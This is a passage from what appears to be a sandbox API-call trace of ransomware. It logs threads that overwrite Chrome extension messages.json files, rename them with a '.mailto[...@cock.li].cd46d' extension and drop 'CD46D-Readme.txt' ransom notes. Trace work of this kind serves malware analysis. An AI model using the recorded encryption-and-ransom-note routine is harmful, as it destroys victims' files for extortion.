| out: lpFileSize=0x798ff00*=223) returned 1 [0193.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x937ff0 [0193.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938108 [0193.295] NtQuerySystemTime (in: CurrentTime=0x798fe60 | out: CurrentTime=0x798fe60*=132174899678854000) returned 0x0 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x1acc590b [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x3826227c [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x2a475d75 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x182d3aca [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x18bca906 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x3dd54586 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x5cf868e3 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x402a80ad [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x63f848c4 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x730621a [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x4ea3428 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0xe3fba3e [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x32f7f05c [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x1f154fb2 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x61ad3ea6 [0193.295] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x6e729cf0 [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x41ec0230 [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x5d6b690b [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x1d0410ed [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x761522f4 [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x3150c5f [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x4c304a2e [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x53db8a3b [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x553a02ae [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x5b3e152d [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0xe96de97 [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x174293f7 [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x6aa0b62b [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x61c02b84 [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x4ca19067 [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0x72c041f6 [0193.296] RtlRandomEx (in: Seed=0x798fe6c | out: Seed=0x798fe6c) returned 0xbaf99ff [0193.309] ReadFile (hFile=0x1420, lpBuffer=0x10e5b018, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x798fe5c, lpOverlapped=0x0) [0193.310] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.310] WriteFile (in: hFile=0x1420, lpBuffer=0x10e67820*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x798fe58, lpOverlapped=0x0 | out: lpBuffer=0x10e67820*, lpNumberOfBytesWritten=0x798fe58*=0xdf, lpOverlapped=0x0) returned 1 [0195.765] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0195.765] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b48 [0195.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b48) returned 1 [0195.765] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e67820) returned 1 [0195.774] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e5b018) returned 1 [0195.777] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8c38) returned 1 [0195.777] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9fd8) returned 1 [0195.777] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x928a98 [0195.777] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.777] WriteFile (in: hFile=0x1420, lpBuffer=0x12cf68a0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x798fec0, lpOverlapped=0x0 | out: lpBuffer=0x12cf68a0*, lpNumberOfBytesWritten=0x798fec0*=0x10b, lpOverlapped=0x0) returned 1 [0195.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf68a0) returned 1 [0195.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928ac8) returned 1 [0195.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b48) returned 1 [0195.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928a98) returned 1 [0195.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58f0) returned 1 [0195.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937ff0) returned 1 [0195.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9380e0) returned 1 [0195.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938180) returned 1 [0195.942] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17e) returned 0x12cf8360 [0195.943] wcscpy (in: _Dest=0x12cf8360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" [0195.943] wcscat (in: _Dest=0x12cf8360, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.943] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x798fe78, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.943] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x194) returned 0x934340 [0196.057] FlushFileBuffers (hFile=0x1420) returned 1 [0196.067] CloseHandle (hObject=0x1420) returned 1 [0196.126] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13e) returned 0x9b57a0 [0196.126] wcscpy (in: _Dest=0x9b57a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\" [0196.126] wcscat (in: _Dest=0x9b57a0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\CD46D-Readme.txt" [0196.126] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\cd46d-readme.txt")) returned 0xffffffff [0196.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xfe8 [0196.147] WriteFile (in: hFile=0xfe8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x798fe80, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x798fe80*=0x6fd, lpOverlapped=0x0) returned 1 [0196.161] CloseHandle (hObject=0xfe8) returned 1 [0196.178] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b57a0) returned 1 [0196.178] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b65b8) returned 1 Thread: id = 8095 os_tid = 0x8d8 [0189.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json")) returned 0x2020 [0189.210] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json", dwFileAttributes=0x20) returned 1 [0193.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1398 [0193.311] GetFileSizeEx (in: hFile=0x1398, lpFileSize=0xddbfa00 | out: lpFileSize=0xddbfa00*=265) returned 1 [0193.311] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x105, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.311] ReadFile (in: hFile=0x1398, lpBuffer=0xddbf984, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xddbf980, lpOverlapped=0x0 | out: lpBuffer=0xddbf984*, lpNumberOfBytesRead=0xddbf980*=0x4, lpOverlapped=0x0) returned 1 [0193.312] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.312] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.312] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938108 [0193.312] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938130 [0193.312] NtQuerySystemTime (in: CurrentTime=0xddbf960 | out: CurrentTime=0xddbf960*=132174899679010000) returned 0x0 [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x140a85fd [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x5f0ef983 [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x175ff901 [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x154525fb [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x6655ecae [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x1ca3d87b [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x4bc39859 [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x4340f678 [0193.312] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x273cda4 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x4c0d1bc7 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x5a31fcc0 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x6fb6d84 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x2fe6e960 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x70fad05a [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0xb330af [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x429939ba [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x6ef8109a [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x70ae368c [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x21d1980a [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x1ebcf7c [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x66fe92f0 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x193e6be1 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x784aaceb [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x7c7ac719 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x2fb70cf1 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x571f03e8 [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x79b92d4c [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x20ef753a [0193.313] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x20d43ce1 [0193.314] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x79645923 [0193.314] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x4fa5e49d [0193.314] RtlRandomEx (in: Seed=0xddbf96c | out: Seed=0xddbf96c) returned 0x2d8ad722 [0193.326] ReadFile (hFile=0x1398, lpBuffer=0x10e74028, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0xddbf95c, lpOverlapped=0x0) [0193.326] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.326] WriteFile (in: hFile=0x1398, lpBuffer=0x10e80830*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xddbf958, lpOverlapped=0x0 | out: lpBuffer=0x10e80830*, lpNumberOfBytesWritten=0xddbf958*=0x109, lpOverlapped=0x0) returned 1 [0195.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5d50 [0195.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5eb8 [0195.353] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5eb8) returned 1 [0195.353] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e80830) returned 1 [0195.353] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x10e74028) returned 1 [0195.353] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e92c8) returned 1 [0195.353] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f97f8) returned 1 [0195.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6ea0 [0195.354] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.354] WriteFile (in: hFile=0x1398, lpBuffer=0x12cf5950*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xddbf9c0, lpOverlapped=0x0 | out: lpBuffer=0x12cf5950*, lpNumberOfBytesWritten=0xddbf9c0*=0x10b, lpOverlapped=0x0) returned 1 [0197.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5950) returned 1 [0197.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ed0) returned 1 [0197.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5eb8) returned 1 [0197.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ea0) returned 1 [0197.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d50) returned 1 [0197.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938108) returned 1 [0197.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9381d0) returned 1 [0197.742] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fc8) returned 1 [0197.742] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd494b18 [0197.742] wcscpy (in: _Dest=0xd494b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" [0197.742] wcscat (in: _Dest=0xd494b18, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.742] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xddbf978, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.742] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8d40 [0197.933] FlushFileBuffers (hFile=0x1398) returned 1 [0197.938] CloseHandle (hObject=0x1398) returned 1 [0197.989] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b7140 [0197.989] wcscpy (in: _Dest=0x9b7140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\" [0197.990] wcscat (in: _Dest=0x9b7140, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\CD46D-Readme.txt" [0197.990] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\cd46d-readme.txt")) returned 0xffffffff [0197.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0198.120] WriteFile (in: hFile=0x1094, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xddbf980, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xddbf980*=0x6fd, lpOverlapped=0x0) returned 1 [0198.121] CloseHandle (hObject=0x1094) returned 1 [0198.121] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b7140) returned 1 [0198.121] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d46be0) returned 1 Thread: id = 8096 os_tid = 0x1c30 [0189.211] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json")) returned 0x2020 [0189.211] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json", dwFileAttributes=0x20) returned 1 [0193.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x84c [0193.328] GetFileSizeEx (in: hFile=0x84c, lpFileSize=0xedefb58 | out: lpFileSize=0xedefb58*=286) returned 1 [0193.328] SetFilePointerEx (in: hFile=0x84c, liDistanceToMove=0x11a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.328] ReadFile (in: hFile=0x84c, lpBuffer=0xedefadc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xedefad8, lpOverlapped=0x0 | out: lpBuffer=0xedefadc*, lpNumberOfBytesRead=0xedefad8*=0x4, lpOverlapped=0x0) returned 1 [0193.329] SetFilePointerEx (in: hFile=0x84c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.329] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.329] RtlAllocateHeap (HeapHandle=0x8c0000, 